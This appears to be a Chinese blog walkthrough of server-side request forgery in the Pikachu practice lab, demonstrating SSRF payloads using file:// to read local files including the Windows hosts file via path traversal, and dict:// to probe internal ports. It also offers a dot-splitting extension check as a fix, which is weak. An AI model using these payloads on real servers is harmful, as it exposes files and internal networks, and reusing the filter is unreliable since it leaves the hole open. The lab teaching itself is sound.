SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,从而导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样。
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
cURL用法:PHP: cURL - Manual。
点击链接,查看页面变化
http://192.168.188.183/pikachu/vul/ssrf/ssrf_curl.php
发现页面的URL中多了一个url参数。
http://192.168.188.183/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
因为curl支持很多协议,就可以做以下尝试:
通过网址访问
比如说修改url为:url=http://www.baidu.com
,访问百度页面:
利用file协议查看本地文件
file
协议:file://
是一种在本地文件系统中读取或写入文件的协议。通过file://
协议,可以使用Curl直接读取本地文件或将数据写入到本地文件。
修改url为:url=file:///c:/test/wuhu.txt
,查看文件的内容:
dict协议扫描内网主机开放端口
dict
协议:dict://
是一种用于在Curl命令中传递字典参数的协议。该协议通常用于向服务器发送包含键值对的数据。
使用dict协议可以获取内网主机开放端口相应服务的指纹信息,修改url为:url=dict://192.168.188.183:80
:
修改代码前,可以看到代码中没有做任何的过滤操作
对代码做一些改动
echo $URL."
";
$octet = explode(".",$URL);
echo $octet[1]."
";
if($octet[1]!="php"){
die("黑客!!!");
}
代码解析:
die:等同于 exit(),终止程序的执行。
explode: 使用一个字符串分割另一个字符串。
explode(string $separator, string $string, int $limit = PHP_INT_MAX): array
string
的一个子串,它们被字符串 separator
作为边界点分割出来。这样我们就可以让页面访问的时候只能去访问info1.php和info2.php文件,这里以点作为分割,所以如果后缀名不为php的话那么就不允许通过。
页面访问
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://localhost/pikachu/vul/ssrf/ssrf_info/info1.php
如果访问其他的路径,例如访问本地文件
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/test/wuhu.txt
访问其他网站
127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
点击链接,查看页面变化
发现路径中的参数从url变成了file
file_get_content使用方法。
file读取本地文件
修改file为:file=file:///../../../../../../../../windows/system32/drivers/etc/hosts
查看页面效果:
http协议请求内网资源
为了演示效果,开启一台kali主机,并且开启一个http服务
python3 -m http.server 8888
修改file为:file=http://192.168.188.185:8888
查看页面效果:
修改之前的代码
修改后的代码
echo $filename."
";
$octet = explode(".",$filename);
echo $octet[1]."
";
if($octet[1]!="php"){
die("黑客!!!");
}
页面访问,读取本地文件
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file://../../../../../../../../windows/system32/drivers/etc/hosts
参看我写的另一篇博客:服务端请求伪造(SSRF)及漏洞复现